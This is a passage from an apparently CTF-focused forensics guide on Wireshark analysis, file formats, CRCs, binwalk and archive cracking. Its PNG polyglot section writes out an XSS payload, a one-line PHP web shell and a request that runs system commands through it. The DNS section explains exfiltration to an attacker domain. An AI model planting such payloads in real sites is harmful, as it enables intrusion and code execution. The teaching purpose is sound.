$ tshark -r modbus.pcapng -Y 'modbus.regnum16' -T fields -E separator=: -e modbus.regnum16 -e modbus.regval_uint16
```

{% endcode %}

## Statistics

When you get a packet capture, it might only contain a few packets that you can look at yourself. But more often, you get a capture over a larger timeframe with lots of packets and different protocols. That is where you can use the statistics tools built into Wireshark to get a general idea of the capture.

All of this happens in the **Statistics** menu on the top bar:

![](/files/2vsR3JqN80CAipuxhUJQ)

One useful option is **Protocol Hierarchy**. It shows a list of all the protocols it finds in the capture, and how often they come up. In the following example, you can see NTP, DNS, TLS, and HTTP. You can also see that almost all packets are plain TCP:

![An example screenshot of the Protocol Hierarchy in Wireshark, showing NTP, DNS, TLS and HTTP](/files/j6J1O15YQBGBFFNCgMYa)

Two other useful options are **Conversations** and **Endpoints**. First, the conversations show the communication between two endpoints, showing the number of packets, and much more detailed information. This is useful to find interesting conversations if you know an IP address for example. These endpoints are the from and to addresses of these conversations and show what parties were involved in the capture.

![](/files/OGUQeh8jGdQOl2hQzUhm) <- Conversations

![](/files/NmUXN9G40vCiLld9juDV) <- Endpoints

All of these menus can help give an initial idea of the capture, to get an idea of what to look at next.

## Display Filters

Captures often contain a lot of packets, and of various types. That is why there is a display filter in Wireshark that you can use to only **match** certain types of packets. Just type the filter into the search bar to only see packets that match it:

<figure><img src="/files/rqBI2p6WCcOd1SUa6YSI" alt=""><figcaption><p>Example of a display filter that only displays HTTP traffic</p></figcaption></figure>

You can find all the documentation about the syntax of these filters on the [Official Wireshark Wiki](https://wiki.wireshark.org/DisplayFilters) page. Most of the time you start with a protocol, and add `.` dots to get more specific.

Boolean operations like `==` (equals), `!=` (not equals), `&&` (and), `||` (or) work as well, allowing you to combine multiple filters together.

These filters are also really useful for looking at specific protocols, like for [#http](#http "mention") you can use just `http`, or for [#modbus](#modbus "mention") you can use `modbus`.

{% code title="Examples" %}

```python
tcp.port == 4444  # Match TCP port
ip.addr != 10.10.10.10  # Filter out source or destination IP address
eth.addr == 00:00:5e:00:53:00  # Filter Ethernet MAC address
http  # Filter only http traffic
http.host contains "example"  # Filter HTTP host header containing string
pkt_comment  # Filter on Wireshark comments in the capture
```

{% endcode %}

{% hint style="info" %}
**Tip**: Wireshark allows you to add **comments** to captures, which may contain interesting information. Search for comments using the `pkt_comment` filter, then you'll see the comments in the details of the packet (lime green)
{% endhint %}

### Edge cases

Without knowing all the names of filters, you can also easily filter some properties by right-clicking on it in the packet details and selecting **Apply as Filer**. Then you can choose to include/exclude this specific value.

<figure><img src="/files/3uhYLWY3YQR3MOqIzdKZ" alt=""><figcaption><p>Screenshot of the right-click menu in Wireshark to apply Wikipedia host as filter</p></figcaption></figure>

One last thing you might run into is the fact that you can't filter the **Protocol** or **Info** columns in the list of packets. This can be useful to quickly search in the Info column, and there is a Plugin for Wireshark that adds this called [filtcols](https://wiki.wireshark.org/Lua/Examples/filtcols). Just install it and then you can use `filtcols.protocol` and `filtcols.info` as strings in the display filter.

{% code title="Examples" %}

```python
filtcols.protocol == "802.11"  # Filter for 802.11 Wifi protocol
filtcols.info contains "SSID"  # Filter Info column containing the string "SSID"
```

{% endcode %}

## Protocols

There are lots of protocols that Wireshark automatically recognizes and gives information about. You can also extract information from some protocols, which is often a bit more work. Here are some common protocols and what you can do with them.

### TCP Stream

Filter: `tcp`

Lots of protocols use TCP as a base, and some protocols aren't recognized by Wireshark. That is why it's so useful to be able to look at TCP and find out exactly what the packet contains.

TCP works in streams. As packets often have a maximum size of about 1500 bytes, these streams have to be split into different packets. When having a packet **selected**, Wireshark can combine the packets together by following the stream, using the **Analyze** -> **Follow** -> **TCP Stream** menu (Ctrl+Shift+Alt+T). By default this will show the data as ASCII (readable text), but you can change it with the "Show data as" dropdown on the bottom.

<figure><img src="/files/TVdswsV1FWnllCQCpDZO" alt=""><figcaption><p>Example of following TCP Stream, with "Show data as" menu open</p></figcaption></figure>

This view can give a quick idea of what readable text is contained in the packets. You can also cycle through all the streams in the whole capture using the ![](/files/OYsVvmaDWhIzhXpKCIGF) number on the right. If there aren't too many TCP streams, this can quickly show you the contents of the packets and what readable text they contain. Protocols like HTTP or SMTP work completely in readable text, so they should be very easily findable with this technique.

This same Follow Stream option is very useful for extracting the raw packet data into some other place. Using the "Show data as **Raw**" option, you'll see the hex values of the data bytes, which you can decode from hex later to get the raw bytes.

### HTTP

Filter: `http`

HTTP is the communication that websites use. Normally encryption by HTTPS makes this not readable in a packet capture, but when the packets can be decrypted they turn into HTTP. It is built on TCP, meaning you can use the **Follow TCP Stream** menu to read the data going back and forth.

The basics of HTTP are pretty simple. A client sends a request to a server, which then sends back a response.

#### Request

{% code title="Example request" %}

```http
POST /login.php HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X x.y; rv:42.0) Gecko/20100101 Firefox/42.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 31

username=admin&password=hunter2
```

{% endcode %}

The first word in a request is the **method**. Commonly this includes `GET`, `POST`, `HEAD`, `DELETE`, `PUT` and `PATCH`. The `GET` method is used to simply get some content, and `POST` for sending data to the server that should do some action.

Then comes the **path**. This is the URL that is requested from the host. In some GET requests, this can also contain URL parameters like `?id=1`.

Then there are some headers, notably the `Host` header which specifies what website the request was sent to. The User-Agent also gives some information about what browser/program made the request.

`POST` requests often have a body with some content that is sent to the server. These are separated by `&` characters, and the key-value pairs are separated by an `=` equals sign.

#### Response

{% code title="Example response" %}

```http
HTTP/1.1 200 OK
Content-Length: 26
Content-Type: text/html; charset=UTF-8
Set-Cookie: PHPSESSID=1576xwtmlrhunx7f3cpbkq5xinyqn773

<html>Hello, world!</html>
```

{% endcode %}

The response gives the content that is displayed back in the browser. It first shows a [status code](https://developer.mozilla.org/en-US/docs/Web/HTTP/Status) that tells the browser some information, like if there was an error, or what kind of response it is.

Then come the response **headers**. One notable header is the `Content-Type`, this says what format the response is in. For websites, this is often HTML. But other things like JSON or files can be specified here. The `Set-Cookie` header can also set the `Cookie` header for the next request. This is often used for authentication.

Lastly, there is the response data. In some cases, this is not directly readable because of some compression (seen by lots of `.` dots instead of readable text). In this case, you can show the data as **Raw** and decode it from hex, to then decompress it with whatever method it was compressed (the `Content-Type` header can help with this).

#### Downloading Files

HTTP can also be used to download files from websites. These can also be found while looking through the HTTP packets, but you can also let Wireshark look for HTTP downloads and export them as files to analyze yourself. You can get a list of Objects by going to **File** -> **Export Objects** -> **HTTP**. In this list, you can select any file that looks interesting or **Save All**.

![](/files/bIRW9JOnUcUsSOS3oO5E)

### DNS

Filter: `dns`

DNS is very commonly found in packet captures because almost everything uses domain names nowadays. DNS can give away some information about what domains were visited if you have encrypted HTTPS traffic for example.

#### Data Exfiltration

DNS can also be used by attackers to **exfiltrate** data. Sometimes HTTP or other ways of sending data are detected or not available, which is why you can use DNS to send small bits of information. Domain names can be a total of 253 characters long, and the parts between the `.` dots are only 63 characters each. An attacker can set up NS records on their domain so that any `*.attacker.com` domain is asked to a server of the attacker. This way, the attacker can let the client make a DNS request to `secret.attacker.com` in order to leak the string "secret" to the attacker via DNS.

This is often done using Base32, an encoding that encodes any bytes to a longer string of 32 characters. This encoded string is then placed in front of an attacker's domain so that they get the encoded string exfiltrated over DNS, which they can later decode.

To filter and find all domain names you can use the [#tshark](#tshark "mention") command-line program. With `-r` you can specify a file, then a display filter with `-Y`, and finally with `-T fields` and `-e` you can select specific fields to display:

```shell-session
tshark -r capture.pcap -Y 'dns' -T fields -e dns.qry.name > names.txt
```

Then you have all the DNS requests that were done in the capture. You can manually filter out the requests that look like DNS exfiltration ([Grep](/forensics/grep) can help). And then decode them from Base32 to get the data (or whatever encoding/encryption the malware used).

{% code title="Example" %}

```shell-session
sed -n '1~2!p' names.txt  # Remove every other line, if every request is doubled
sed s/.example.com//g names.txt  # Remove rest of name at the end
base32 -d names.txt  # Decode from base32
xxd -r -p names.txt  # Decode from hex
```

{% endcode %}

#### Request Data

An attacker may also want to send commands/code to the victim to execute. It is also possible to request data via DNS, as this is the point of DNS. Some records like TXT records can contain larger chunks of text to be requested. TXT records aren't often seen in normal packet captures, so you should definitely look at them when they are in the capture.

Similarly to the [#data-exfiltration](#data-exfiltration "mention"), we can use [#tshark](#tshark "mention") to extract all the TXT records from the capture. This time with the `dns.txt` field:

```shell-session
tshark -r capture.pcap -Y 'dns' -T fields -e dns.txt
```

### USB Keystrokes

Wireshark can also capture communication of USB devices. A USB keyboard for example sends lots of `URB_INTERRUPT in` packets (see image).

<figure><img src="/files/pwweVv1wk1lAecGZap4d" alt=""><figcaption><p>Wireshark screenshot showing USB keystroke packets</p></figcaption></figure>

You can extract the raw data using [#tshark](#tshark "mention"):

{% code overflow="wrap" %}

```shell-session
tshark -r capture.pcap -Y 'usb.capdata && usb.data_len == 8' -T fields -e usb.capdata | sed 's/../:&/g2' > keystrokes.txt
```

{% endcode %}

Then you have the data in `keystrokes.txt`, and you can use a tool like [ctf-usb-keyboard-parser](https://github.com/TeamRocketIst/ctf-usb-keyboard-parser) to decode the keystrokes to text.

<pre class="language-shellscript"><code class="lang-shellscript"><strong>$ git clone https://github.com/TeamRocketIst/ctf-usb-keyboard-parser
</strong><strong>$ ./ctf-usb-keyboard-parser/usbkeyboard.py keystrokes.txt
</strong>Hello, world!
</code></pre>

{% hint style="info" %}
**Note**: This script causes backspaces to actually remove the previous character. To view all data, patch the script to make backspaces visible.
{% endhint %}

### Modbus

Filter: `modbus`

[Modbus](https://en.wikipedia.org/wiki/Modbus) is a protocol that has a few different versions. There is Modbus RTU (Remote Terminal Unit) which is used in serial communication. There is also the ASCII variant that also works on serial, and finally, Modbus TCP which goes over TCP (default: port 502). It is commonly used in industrial electronics to read and write simple values. You may find traffic like this in a network capture allowing you to see exactly what data is queried and returned. There are a few different data types it uses:

<table><thead><tr><th width="206">Object type</th><th width="140">Access</th><th width="134">Size</th><th width="172">Address Space</th></tr></thead><tbody><tr><td>Coil</td><td>Read-write</td><td>1 bit</td><td>00001 – 09999</td></tr><tr><td>Discrete input</td><td>Read-only</td><td>1 bit</td><td>10001 – 19999</td></tr><tr><td>Input register</td><td>Read-only</td><td>16 bits</td><td>30001 – 39999</td></tr><tr><td>Holding register</td><td>Read-write</td><td>16 bits</td><td>40001 – 49999</td></tr></tbody></table>

These registers can contain numbers from 0-65535, and can be queried (function codes 3 & 4). The response may contain interesting values to look at. You can use [#tshark](#tshark "mention") to extract the **holding register** numbers and values (change `func_code` to `4` for input registers):

<pre class="language-shellscript"><code class="lang-shellscript"><strong>$ tshark -r modbus.pcapng -Y 'modbus.func_code==3 &#x26;&#x26; modbus.regnum16' -T fields -E separator=: -e modbus.regnum16 -e modbus.regval_uint16
</strong>100:72
101:101
102:108
103:108
104:111
</code></pre>

These can sometimes contain strings encoded in decimal, be sure to try and decode them in a [CyberChef recipe](https://gchq.github.io/CyberChef/#recipe=Find_/_Replace\(%7B'option':'Regex','string':'%5C%5Cd%2B:\(%5C%5Cd%2B\)'%7D,'$1',true,false,true,false\)From_Decimal\('Line%20feed',false\)\&input=MTAwOjcyCjEwMToxMDEKMTAyOjEwOAoxMDM6MTA4CjEwNDoxMTE).

### SSL/TLS

{% embed url="<https://wiki.wireshark.org/TLS>" %}
Official Wireshark documentation on Decrypting SSL/TLS
{% endembed %}

HTTPS traffic is encrypted using Transport Layer Security (TLS). This means a normal packet capture cannot read the data being sent.

To decrypt this data you require a key. This can be the RSA private key of the website, starting with `-----BEGIN PRIVATE KEY-----`, or using per-session key log files ((Pre)-Master Secret).

#### RSA Keys

To decrypt data when you have the key go to **Edit** -> **Preferences** -> **Protocols** -> **TLS** and click **Edit** by the RSA keys list. Here you can click the ![](/files/ltLhQze9U0V4NNaQ1I3Y) icon to add an entry containing the IP address and port of the target website (you can find this in the SSL/TLS packets), and the protocol, which will be `http` for HTTPS. Finally the path to the file containing the RSA key.

When you now click OK you will see the decrypted traffic like HTTP requests in your list of packets (filter `http`). The raw data will still be the encrypted SSL/TLS data, so instead of following the TCP stream just look at the packet details on the bottom when selecting a packet.

#### (Pre)-Master Secret

The `SSLKEYLOGFILE` environment variable can be set to a filename where browsers will log all the SSL keys used. You may find this file somewhere allowing you to use it to decrypt all the traffic made from that browser. The contents of the file should look something like this:

{% code title="Example SSL key log" %}

```log
CLIENT_RANDOM 52362c10a2665e323a2adb4b9da0c10d4a8823719272f8b4c97af24f92784812 9F9A0F19A02BDDBE1A05926597D622CCA06D2AF416A28AD9C03163B87FF1B0C67824BBDB595B32D8027DB566EC04FB25
CLIENT_RANDOM 52362c1012cf23628256e745e903cea696e9f62a60ba0ae8311d70dea5e41949 9F9A0F19A02BDDBE1A05926597D622CCA06D2AF416A28AD9C03163B87FF1B0C67824BBDB595B32D8027DB566EC04FB25
CLIENT_RANDOM 6e9015fda12c6fae63ef1ddf06be63aa65ed23349f74e703764e5100282d3382 81940A0057008819B3B139B4C9F5328F8AEEECB844CB2A4F31C841722510D757BA870A089A89FEC788A0E42E61F30BD1
CLIENT_RANDOM 3b5cffc32014f2cf0f8bee7d33c1ac3020d54115862a3aaedcf3e5557caf9218 2F94FD5BE4DD0473BBEC947189729C887A32A2815F185D813C5B354510570E0B8A9673646594906504A3C8575B5F43C8
```

{% endcode %}

Putting this in Wireshark goes similar to the RSA keys, just go to **Edit** -> **Preferences** -> **Protocols** -> **TLS** and select the (Pre)-Master-Secret log filename. When you click on OK the packets will be decrypted again and you can view the real data.

## Wifi (802.11)

{% embed url="<https://wiki.wireshark.org/HowToDecrypt802.11>" %}
Wireshark tutorial on how to decrypt 802.11 traffic
{% endembed %}

You can capture Wifi traffic all around you using a network card that supports **monitoring mode**. When a Wifi network requires a password to connect to, all the traffic is encrypted. In Wireshark, this encrypted data looks like packets with the protocol 802.11, and "Data" in the info column. You'll be able to see what MAC addresses the communication is between, but not what the data is.

{% code title="Filter" %}

```python
wlan && filtcols.info contains "Data"
```

{% endcode %}

To decrypt this data you need the key/password of the Wifi network. There are a few different types of encryption for Wifi:

* **WEP**: A hexadecimal key used for all traffic. The first standard, and pretty easy to crack with brute force (example: `a1:b2:c3:d4:e5`)
* **WPA/WPA2**: A password/SSID combination, with a different encryption key for each connected device (example: `MyPassword:MySSID`)
* **WPA-PSK**: WPA with a Pre-Shared Key. 64 bytes in hex (example: `01020304...61626364`)

### Decrypting

When you have found a WEP key (eg. by cracking it), you can instantly decrypt all the traffic from anyone.

But a WPA key is unique for all connected devices. To be able to decrypt WPA traffic, you need the EAPOL handshake for that device. This handshake is done when you authenticate with the network, so every time you connect. If you're lucky the capture contains the moment when the device connects meaning you have this EAPOL handshake. It consists of 4 parts, and all 4 need to be included to decrypt the traffic. You can filter for `eapol` to find if you have parts 1-4:

<figure><img src="/files/VBCpva1e875wmLVD2dwI" alt=""><figcaption><p>Screenshot of all 4 parts of EAPOL handshake in Wireshark</p></figcaption></figure>

To then actually decrypt the traffic using the network key/password, go to **Edit** -> **Preferences** -> **Protocols** -> **IEEE 802.11** and click **Edit** by the Decryption keys. Here you can click the ![](/files/ltLhQze9U0V4NNaQ1I3Y) icon to add a key.

First choose the **Key type**, and then put the key into the Key field in the hex format for WEP, or the `MyPassword:MySSID` format for WPA (you can find the SSID with the `wlan.ssid` filter). Finally, click OK when your password is set.

<table><thead><tr><th width="148">Key type</th><th>Key (example)</th></tr></thead><tbody><tr><td><strong>wep</strong></td><td><code>0102030405060708090a0b0c0d</code></td></tr><tr><td><strong>wpa-pwd</strong></td><td><code>MyPassword:MySSID</code></td></tr><tr><td><strong>wpa-pwd</strong></td><td><code>MyPassword</code></td></tr><tr><td><strong>wpa-psk</strong></td><td><code>a66e97b9a1008a97285c7ec2b95082bed3541d3dd01165b0128f7f3c18563797</code></td></tr></tbody></table>

You should now see some encrypted traffic turn into normal traffic, like TCP and UDP. To be sure you can use the `filtcols.protocol != "802.11"` filter to only show normal traffic.


# File Formats

What to do with a file you don't understand

## Understanding common file formats

If you want to understand how a file format works, you should look at documentation online about it. Often these formats are not ASCII readable so you'll want to use a hex editor, such as `xxd`, `hexedit` or [hexyl](https://github.com/sharkdp/hexyl).

A big collection of file formats made by Ange Albertini is the following (just scroll through until you find your format):

{% embed url="<https://github.com/corkami/pics/blob/master/binary/README.md>" %}
A big collection of drawings of file formats to understand them quickly
{% endembed %}

Another tool which can automatically decode and give you raw information is [`fq`](https://github.com/wader/fq):

```bash
fq d image.png
```

<figure><img src="/files/VmoVlGf0W2qZQwPSR6T0" alt=""><figcaption><p>Example fq output show chunks of PNG</p></figcaption></figure>

### CRCs: Cyclic Redundancy Checks

File formats often use a [Cyclic Redundancy Check (CRC)](https://en.wikipedia.org/wiki/Cyclic_redundancy_check) to validate if the bytes have been tampered with or corrupted slightly. See these as a checksum that combines all bytes into a small extra set of bytes that is different if you change even a single bit. These are not as strong as real hashing algorithms, but only output a few bytes. Preventing collisions is not their purpose, purely detecting accidental changes.

Because there are many different types of CRCs, a site like the following makes it easy to compare your data and output to reverse engineer exactly what algorithm was used. Then you can use this knowledge to create a correct checksum for any arbitrary data:

{% embed url="<https://crccalc.com/>" %}
Quickly view lots of well-known CRC of different sizes based on your input
{% endembed %}

[CRC `reveng`](https://reveng.sourceforge.io/) is another tool built for calculating the CRC parameters from enough samples, so it does not have to be a well-known algorithm.

<details>

<summary>Compilation</summary>

Download and extract the source code, then run `make`. If you run into the following error, do as it says and change the `BMP_BIT` and `BMP_SUB` values inside `config.h`:

<pre class="language-shellscript"><code class="lang-shellscript"><strong>$ make
</strong>gcc -O3 -Wall -ansi -fomit-frame-pointer -DPRESETS -DBMPTST -o bmptst bmpbit.c
( ./bmptst &#x26;&#x26; touch bmptst ) || ( rm bmptst bmptst.exe &#x26;&#x26; false )
reveng: configuration fault.  Update config.h with these definitions and recompile:
        #define BMP_BIT   64
        #define BMP_SUB   32
<strong>$ make
</strong>gcc -O3 -Wall -ansi -fomit-frame-pointer -DPRESETS -DBMPTST -o bmptst bmpbit.c
( ./bmptst &#x26;&#x26; touch bmptst ) || ( rm bmptst bmptst.exe &#x26;&#x26; false )
gcc -O3 -Wall -ansi -fomit-frame-pointer -DPRESETS -c bmpbit.c
gcc -O3 -Wall -ansi -fomit-frame-pointer -DPRESETS -c cli.c
gcc -O3 -Wall -ansi -fomit-frame-pointer -DPRESETS -c model.c
gcc -O3 -Wall -ansi -fomit-frame-pointer -DPRESETS -c poly.c
gcc -O3 -Wall -ansi -fomit-frame-pointer -DPRESETS -c preset.c
gcc -O3 -Wall -ansi -fomit-frame-pointer -DPRESETS -c reveng.c
...
</code></pre>

Then you can install the tool using `sudo ln -s "$(pwd)"/reveng /usr/bin/reveng`.

</details>

<details>

<summary>Usage</summary>

Given a word length (often 8, 16 or 32), this tool can find the parameters of a CRC algorithmically. You need to provide hex strings that are followed by the CRC. Often these can be recognized by templated data (eg. lots of nulls or similar data) followed by 1, 2 or 4 random bytes which are the CRC. Take the following example:

{% code title="Hexdump" %}

```python
52 45 43 00  02 00 00 00  04 00 00 00  05 00 00 00  D9 D1 49 38  REC...............I8
52 45 43 00  02 00 00 00  06 00 00 00  07 00 00 00  2F 1E 65 D0  REC............./.e.
52 45 43 00  02 00 00 00  08 00 00 00  09 00 00 00  2E 7B 30 25  REC..............{0%
52 45 43 00  02 00 00 00  0A 00 00 00  0B 00 00 00  D8 B4 1C CD  REC.................
```

{% endcode %}

It looks like the last 4 bytes of each row are pretty random. To crack the exact algorithm used, we simply provide them to `reveng` as hex strings and the 32-bit length we guessed52 45 43 00 02 00 00 00 04 00 00 00 05 00 00 00 D9 D1 49 38 REC...............I8

<pre class="language-shellscript" data-overflow="wrap"><code class="lang-shellscript"><strong>$ reveng -w32 -s \
</strong><strong>  "52 45 43 00  02 00 00 00  04 00 00 00  05 00 00 00  D9 D1 49 38" \
</strong><strong>  "52 45 43 00  02 00 00 00  06 00 00 00  07 00 00 00  2F 1E 65 D0" \
</strong><strong>  "52 45 43 00  02 00 00 00  08 00 00 00  09 00 00 00  2E 7B 30 25" \
</strong><strong>  "52 45 43 00  02 00 00 00  0A 00 00 00  0B 00 00 00  D8 B4 1C CD"
</strong>
width=32  poly=0x04c11db7  init=0xffffffff  refin=true  refout=true  xorout=0xffffffff  check=0xcbf43926  residue=0xdebb20e3  name="CRC-32/ISO-HDLC"
</code></pre>

It found all parameters, and the preset name "CRC-32/ISO-HDLC". This is a well-known variant. Next, we can predict the CRC for any sequence of data by specifying a preset:

<pre class="language-shellscript"><code class="lang-shellscript"><strong>$ reveng -m "CRC-32/ISO-HDLC" -c \
</strong><strong>  "52 45 43 00  02 00 00 00  04 00 00 00  05 00 00 00"
</strong>
d9d14938
</code></pre>

This correctly computes the hash for the first string! If the tool did not find a named preset, you can still give it the raw parameters to achieve the same result:

<pre class="language-shellscript"><code class="lang-shellscript">$ reveng -w $WIDTH -p $POLY -i $INIT -x $XOROUT -c $INPUT_DATA
# # See -b, -B, -l, and -L for refin/refout values
<strong>$ reveng -w32 -p 0x04C11DB7 -i 0xFFFFFFFF -l -x 0xFFFFFFFF -c \
</strong><strong>  "52 45 43 00  02 00 00 00  04 00 00 00  05 00 00 00"
</strong>
d9d14938
</code></pre>

</details>

## Binwalk

Sometimes when data tries to be hidden inside another file, it is just pasted right into the host file. Meaning that the bytes of the secret file are just somewhere in the other file. Using [binwalk](https://github.com/ReFirmLabs/binwalk) you can check for known file signatures in a file to see if it embeds something.\
Using the following command you can also recursively extract all of these into a `.extracted` folder:

<pre class="language-shellscript"><code class="lang-shellscript"><strong>$ binwalk -eM file.bin
</strong>DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             TRX firmware header, little endian, image size: 37883904 bytes, CRC32: 0x95C5DF32, flags: 0x1, version: 1, header size: 28 bytes, loader offset: 0x1C, linux kernel offset: 0x0, rootfs offset: 0x0
28            0x1C            uImage header, header size: 64 bytes, header CRC: 0x780C2742, created: 2018-10-10 02:12:20, image size: 2150281 bytes, Data Address: 0x8000, Entry Point: 0x8000, data CRC: 0xA097CFEA, OS: Linux, CPU: ARM, image type: OS Kernel Image, compression type: none, image name: "DD-WRT"
92            0x5C            Linux kernel ARM boot executable zImage (little-endian)
2460          0x99C           device tree image (dtb)
23432         0x5B88          xz compressed data
23776         0x5CE0          xz compressed data
2117484       0x204F6C        device tree image (dtb)
3145756       0x30001C        UBI erase count header, version: 1, EC: 0x0, VID header offset: 0x800, data offset: 0x1000

<strong>$ binwalk --dd='.*' file.bin  # Another way to extract all file signatures
</strong></code></pre>

{% hint style="warning" %}
A common false positive with PNGs is `Zlib compressed data`. This is because PNG uses Zlib for compression in its own file format, so it is recognized by binwalk. But very often this compressed data just covers the entire file
{% endhint %}

You can also use binwalk to understand an unknown file better, by looking at the **entropy** for example. Entropy is how random a certain sequence of bytes is. Simple ASCII text is pretty predictable and stays within about the same range, so the entropy would be low. But for completely random/encrypted bytes the entropy should be really high, close to 1. You can get a graph of the entropy of the file using the `-E` flag:

```shell-session
binwalk -E file.bin
```

<figure><img src="/files/WryR6I4iJRSWTKivcG47" alt=""><figcaption><p>An example of a firmware image showing various amounts of entropy (<a href="https://allabouttesting.org/short-tutorial-firmware-analysis-tool-binwalk/">source</a>)</p></figcaption></figure>

This can give a good idea about what parts of a file you could look at.

## PNG

Image files like PNG can have a lot of hidden info. It's a relatively complex file format with a lot of room for secrets.

A quick check you can do to see if it is a completely valid PNG file is using [pngcheck](http://www.libpng.org/pub/png/apps/pngcheck.html):

<pre class="language-shellscript"><code class="lang-shellscript"><strong>$ pngcheck -h
</strong>Test PNG, JNG or MNG image files for corruption, and print size/type info.

Usage:  pngcheck [-7cfpqtv] file.{png|jng|mng} [file2.{png|jng|mng} [...]]
   or:  ... | pngcheck [-7cfpqstvx]
   or:  pngcheck [-7cfpqstvx] file-containing-PNGs...

Options:
   -7  print contents of tEXt chunks, escape chars >=128 (for 7-bit terminals)
   -c  colorize output (for ANSI terminals)
   -f  force continuation even after major errors
   -p  print contents of PLTE, tRNS, hIST, sPLT and PPLT (can be used with -q)
   -q  test quietly (output only errors)
   -s  search for PNGs within another file
   -t  print contents of tEXt chunks (can be used with -q)
   -v  test verbosely (print most chunk data)
   -x  search for PNGs within another file and extract them when found

<strong>$ pngcheck image.png
</strong>OK: image.png (1920x1080, 32-bit RGB+alpha, non-interlaced, 96.6%).
</code></pre>

PNG files consist of **chunks** of bytes that tell something about the image. The most common one is `IDAT` which contains the pixel data of the image. An image always ends with `IEND` and 4 checksum bytes (every chunk has the checksum).

You might see custom chunks being used to embed data, or data appended to the end, after `IEND`.

### Embed Raw Data (Polyglots)

You might find some applications where you are allowed to upload files and find that you can either give them a `.php` extension to create a web shell or make the `Content-Type: text/html` to render tags inside the raw bytes for [Cross-Site Scripting (XSS)](/web/client-side/cross-site-scripting-xss). In either case, this application might validate or even transform your image in a way that does not preserve all the original bytes, breaking your payload.

While you might be able to include **metadata** with tools like `exiftool`, these might be stripped by the server upon saving your file:

<pre class="language-shellscript"><code class="lang-shellscript"><strong>$ exiftool -Comment='&#x3C;svg/onload=alert()>' example.png
</strong>    1 image files updated
<strong>$ hd example.png
</strong>00000000  89 50 4e 47 0d 0a 1a 0a  00 00 00 0d 49 48 44 52  |.PNG........IHDR|
...
00000080  e0 b6 b6 f4 d1 0d 53 22  0d 14 00 00 00 1c 74 45  |......S"......tE|
<strong>00000090  58 74 43 6f 6d 6d 65 6e  74 00 3c 73 76 67 2f 6f  |XtComment.&#x3C;svg/o|
</strong><strong>000000a0  6e 6c 6f 61 64 3d 61 6c  65 72 74 28 29 3e ad 30  |nload=alert()>.0|
</strong>000000b0  14 57 00 00 08 7d 49 44  41 54 78 5e ec ce 31 0d  |.W...}IDATx^..1.|
</code></pre>

Another trick is simply appending data to the end of the file. This would not pass as a valid PNG anymore, but could survive on the server:

<pre class="language-shellscript"><code class="lang-shellscript"><strong>$ echo '&#x3C;svg/onload=alert()>' >> example.png
</strong>
<strong>$ hd example.png
</strong>...
000009d0  5a b3 07 54 ac 7b 51 fb  78 a7 ea 00 00 00 00 49  |Z..T.{Q.x......I|
<strong>000009e0  45 4e 44 ae 42 60 82 3c  73 76 67 2f 6f 6e 6c 6f  |END.B`.&#x3C;svg/onlo|
</strong><strong>000009f0  61 64 3d 61 6c 65 72 74  28 29 3e 0a              |ad=alert()>.|
</strong>000009fc
</code></pre>

Lastly, there is a technique more resistant to transformation by using the **IDAT chunks**. These normally include compressed DEFLATE data representing the pixels themselves, but this process can be reversed to obtain a string of pixels that compress into a payload like:

```php
<?=$_GET[0]($_POST[1]);?>
```

If the payload above is executed, you can provide a function you want to call like `system()` as the query parameter `0`, and an argument you want to give the function in a `1` body parameter.

<pre class="language-http"><code class="lang-http"><strong>POST /shell.php?0=system HTTP/1.1
</strong>...
Content-Type: application/x-www-form-urlencoded
Content-Length: 4

<strong>1=id
</strong></code></pre>

The process of creating these and a few example payloads are described in the following post, which also shows an XSS payload with the same idea:

{% embed url="<https://web.archive.org/web/20250713054441/https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/>" %}

## Archives (ZIP, TAR, 7z, etc.)

{% content-ref url="/pages/GCAU8wkXuyH1MEwbIOgQ" %}
[Archives](/forensics/archives)
{% endcontent-ref %}


# Archives

Different kinds of file archives, like ZIP, RAR or TAR

## File format

<figure><img src="/files/7wt4j8sFCU7kev3O2JY7" alt=""><figcaption><p>A visual explanation of the ZIP file format by Ange Albertini</p></figcaption></figure>

Sometimes a zip file can be corrupted, either intentionally or unintentionally. You can try to fix it using the `-FF` flag in `zip`:

```shell-session
zip -FF archive.zip --out fixed.zip
```

Sometimes `binwalk` can also help with finding files in the ZIP when `unzip` cannot. You may find compressed files. Specifically for [DEFLATE](https://en.wikipedia.org/wiki/Deflate), the following tool can help visualize how data is encoded and could help find more hidden facts about it:

{% embed url="<https://lynn.github.io/flateview/>" %}

When you suspect some kind of file trickery you should look at the file format, and find things that are unique about this ZIP file.

## Password Protection

Most types of archive files can set a password that encrypts the content until the correct password is given. There are a few tricks to brute-force or even bypass this password protection.

### Brute-forcing

I spent a lot of time automating the cracking of password-protected archives in my [default](https://github.com/JorianWoltjer/default) tool:

```shell-session
default crack archive.zip
```

It will automatically recognize the type of encryption used and start hashcat or john to crack it using a wordlist.

Doing it manually would require you to first get a hash using a tool like `zip2john` included in John the Ripper. Then you crack that hash with hashcat or john if you have the right hash mode.

### Read filenames

An interesting little thing about most archive file formats is the fact that when they are encrypted, you can still read the filenames and structure, only the content is encrypted. This can already give a good idea of what kind of files the archive contains.

<pre class="language-shellscript"><code class="lang-shellscript"><strong>$ unzip -v archive.zip
</strong>Archive:  archive.zip
 Length   Method    Size  Cmpr    Date    Time   CRC-32   Name
--------  ------  ------- ---- ---------- ----- --------  ----
      15  Stored       15   0% 1970-01-01 00:00 21c0cb62  file.txt
--------          -------  ---                            -------
      15               15   0%                            1 file
</code></pre>

As you can see, even the size and a CRC32 are present. This CRC is a checksum of the **unencrypted** file content, so if you can guess the content you can confirm it by taking the CRC. This allows for brute-forcing content of very small files as well. See this tool for an implementation of that:

{% embed url="<https://github.com/kmyk/zip-crc-cracker>" %}
A Python tool to bruteforce content of very small files in an encrypted ZIP archive
{% endembed %}

### ZIP Known Plaintext Attack

The PKZIP stream cipher is vulnerable to a Known Plaintext attack. This means that if we **know some content** of a file in the encrypted ZIP, we can use it to find the keys used to decrypt the rest.

With a faster brute-force attack afterward it is also possible to recover the original password for further use.

The [bkcrack](https://github.com/kimci86/bkcrack) tool has a great implementation of this attack, see the tutorial here on how to use it:

{% embed url="<https://github.com/kimci86/bkcrack/blob/master/example/tutorial.md>" %}
A tool that uses the known plaintext attack to decrypt ZIP files and recover the password
{% endembed %}

## Zip Slip Vulnerability

